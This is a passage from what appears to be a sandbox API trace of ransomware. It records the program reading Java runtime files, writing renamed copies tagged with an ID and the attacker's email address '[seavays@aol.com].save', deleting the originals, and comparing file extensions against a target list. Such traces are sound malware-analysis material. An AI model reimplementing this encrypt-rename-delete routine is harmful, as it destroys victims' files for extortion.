files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.313] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.313] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0169.315] GetLastError () returned 0x0 [0169.315] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0169.317] WriteFile (in: hFile=0x508, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4e90, lpOverlapped=0x0) returned 1 [0169.318] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.318] WriteFile (in: hFile=0x508, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xea, lpOverlapped=0x0) returned 1 [0169.319] SetEndOfFile (hFile=0x508) returned 1 [0169.319] CloseHandle (hObject=0x508) returned 1 [0169.319] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.319] SetEndOfFile (hFile=0x520) returned 1 [0169.322] CloseHandle (hObject=0x520) returned 1 [0169.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.323] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0169.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.323] lstrlenW (lpString=".doc") returned 4 [0169.323] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0169.323] lstrlenW (lpString=".docx") returned 5 [0169.323] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0169.323] lstrlenW (lpString=".pdf") returned 4 [0169.323] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0169.324] lstrlenW (lpString=".xls") returned 4 [0169.324] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0169.324] lstrlenW (lpString=".xlsx") returned 5 [0169.324] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0169.324] lstrlenW (lpString=".ppt") returned 4 [0169.324] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0169.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.324] lstrlenW (lpString=".zip") returned 4 [0169.324] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0169.324] lstrlenW (lpString=".rar") returned 4 [0169.324] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0169.324] lstrlenW (lpString=".bz2") returned 4 [0169.324] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0169.324] lstrlenW (lpString=".7z") returned 3 [0169.324] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0169.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.324] lstrlenW (lpString=".dbf") returned 4 [0169.324] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0169.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.324] lstrlenW (lpString=".1cd") returned 4 [0169.324] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0169.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.324] lstrlenW (lpString=".jpg") returned 4 [0169.324] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0169.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.324] lstrlenW (lpString=".doc") returned 4 [0169.324] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0169.325] lstrlenW (lpString=".docx") returned 5 [0169.325] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0169.325] lstrlenW (lpString=".pdf") returned 4 [0169.325] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0169.325] lstrlenW (lpString=".xls") returned 4 [0169.325] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0169.325] lstrlenW (lpString=".xlsx") returned 5 [0169.325] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0169.325] lstrlenW (lpString=".ppt") returned 4 [0169.325] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.325] lstrlenW (lpString=".zip") returned 4 [0169.325] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0169.325] lstrlenW (lpString=".rar") returned 4 [0169.325] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0169.325] lstrlenW (lpString=".bz2") returned 4 [0169.325] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0169.325] lstrlenW (lpString=".7z") returned 3 [0169.325] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.325] lstrlenW (lpString=".dbf") returned 4 [0169.325] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.325] lstrlenW (lpString=".1cd") returned 4 [0169.325] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0169.325] lstrlenW (lpString=".jpg") returned 4 [0169.325] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0169.326] lstrcmpiW (lpString1=".jfc", lpString2=".save") returned -1 [0169.326] lstrlenW (lpString="profile.jfc") returned 11 [0169.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.326] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=20065) returned 1 [0169.326] CloseHandle (hObject=0x520) returned 1 [0169.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0169.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.327] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.327] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.327] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.327] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0169.328] GetLastError () returned 0x0 [0169.328] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x4e61, lpOverlapped=0x0) returned 1 [0169.334] WriteFile (in: hFile=0x508, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4e70, lpOverlapped=0x0) returned 1 [0169.335] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.335] WriteFile (in: hFile=0x508, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xea, lpOverlapped=0x0) returned 1 [0169.335] SetEndOfFile (hFile=0x508) returned 1 [0169.335] CloseHandle (hObject=0x508) returned 1 [0169.335] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.335] SetEndOfFile (hFile=0x520) returned 1 [0169.338] CloseHandle (hObject=0x520) returned 1 [0169.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.571] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0169.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.572] lstrlenW (lpString=".doc") returned 4 [0169.572] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0169.572] lstrlenW (lpString=".docx") returned 5 [0169.572] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0169.572] lstrlenW (lpString=".pdf") returned 4 [0169.572] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0169.572] lstrlenW (lpString=".xls") returned 4 [0169.572] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0169.572] lstrlenW (lpString=".xlsx") returned 5 [0169.572] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0169.572] lstrlenW (lpString=".ppt") returned 4 [0169.572] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.573] lstrlenW (lpString=".zip") returned 4 [0169.573] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0169.573] lstrlenW (lpString=".rar") returned 4 [0169.573] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0169.573] lstrlenW (lpString=".bz2") returned 4 [0169.573] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0169.573] lstrlenW (lpString=".7z") returned 3 [0169.573] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.573] lstrlenW (lpString=".dbf") returned 4 [0169.573] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.573] lstrlenW (lpString=".1cd") returned 4 [0169.573] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.573] lstrlenW (lpString=".jpg") returned 4 [0169.573] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0169.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.573] lstrlenW (lpString=".doc") returned 4 [0169.573] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0169.573] lstrlenW (lpString=".docx") returned 5 [0169.573] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0169.573] lstrlenW (lpString=".pdf") returned 4 [0169.574] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0169.574] lstrlenW (lpString=".xls") returned 4 [0169.574] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0169.574] lstrlenW (lpString=".xlsx") returned 5 [0169.574] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0169.574] lstrlenW (lpString=".ppt") returned 4 [0169.574] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0169.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.574] lstrlenW (lpString=".zip") returned 4 [0169.574] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0169.574] lstrlenW (lpString=".rar") returned 4 [0169.574] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0169.574] lstrlenW (lpString=".bz2") returned 4 [0169.574] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0169.574] lstrlenW (lpString=".7z") returned 3 [0169.574] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0169.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.574] lstrlenW (lpString=".dbf") returned 4 [0169.574] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0169.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.574] lstrlenW (lpString=".1cd") returned 4 [0169.574] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0169.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0169.574] lstrlenW (lpString=".jpg") returned 4 [0169.574] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0169.575] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0169.575] lstrlenW (lpString="logging.properties") returned 18 [0169.575] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.576] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=2455) returned 1 [0169.576] CloseHandle (hObject=0x540) returned 1 [0169.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0169.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.577] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.577] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.577] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.577] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0169.578] GetLastError () returned 0x0 [0169.578] ReadFile (in: hFile=0x540, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x997, lpOverlapped=0x0) returned 1 [0169.580] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x9a0, lpOverlapped=0x0) returned 1 [0169.581] ReadFile (in: hFile=0x540, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.581] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf8, lpOverlapped=0x0) returned 1 [0169.581] SetEndOfFile (hFile=0x544) returned 1 [0169.582] CloseHandle (hObject=0x544) returned 1 [0169.582] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.582] SetEndOfFile (hFile=0x540) returned 1 [0169.586] CloseHandle (hObject=0x540) returned 1 [0169.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.586] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0169.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.587] lstrlenW (lpString=".doc") returned 4 [0169.587] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.587] lstrlenW (lpString=".docx") returned 5 [0169.587] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.587] lstrlenW (lpString=".pdf") returned 4 [0169.587] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.587] lstrlenW (lpString=".xls") returned 4 [0169.587] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.587] lstrlenW (lpString=".xlsx") returned 5 [0169.588] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.588] lstrlenW (lpString=".ppt") returned 4 [0169.588] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.588] lstrlenW (lpString=".zip") returned 4 [0169.588] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString=".rar") returned 4 [0169.588] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString=".bz2") returned 4 [0169.588] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString=".7z") returned 3 [0169.588] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.588] lstrlenW (lpString=".dbf") returned 4 [0169.588] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.588] lstrlenW (lpString=".1cd") returned 4 [0169.588] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.588] lstrlenW (lpString=".jpg") returned 4 [0169.588] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.588] lstrlenW (lpString=".doc") returned 4 [0169.588] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.588] lstrlenW (lpString=".docx") returned 5 [0169.589] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.589] lstrlenW (lpString=".pdf") returned 4 [0169.589] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString=".xls") returned 4 [0169.589] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString=".xlsx") returned 5 [0169.589] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.589] lstrlenW (lpString=".ppt") returned 4 [0169.589] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.589] lstrlenW (lpString=".zip") returned 4 [0169.589] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString=".rar") returned 4 [0169.589] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString=".bz2") returned 4 [0169.589] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString=".7z") returned 3 [0169.589] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.589] lstrlenW (lpString=".dbf") returned 4 [0169.589] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.589] lstrlenW (lpString=".1cd") returned 4 [0169.589] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0169.589] lstrlenW (lpString=".jpg") returned 4 [0169.589] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.590] lstrcmpiW (lpString1=".access", lpString2=".save") returned -1 [0169.590] lstrlenW (lpString="jmxremote.access") returned 16 [0169.590] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.594] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3998) returned 1 [0169.594] CloseHandle (hObject=0x540) returned 1 [0169.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0169.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.594] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.595] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.595] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.595] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0169.603] GetLastError () returned 0x0 [0169.603] ReadFile (in: hFile=0x540, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0xf9e, lpOverlapped=0x0) returned 1 [0169.605] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xfa0, 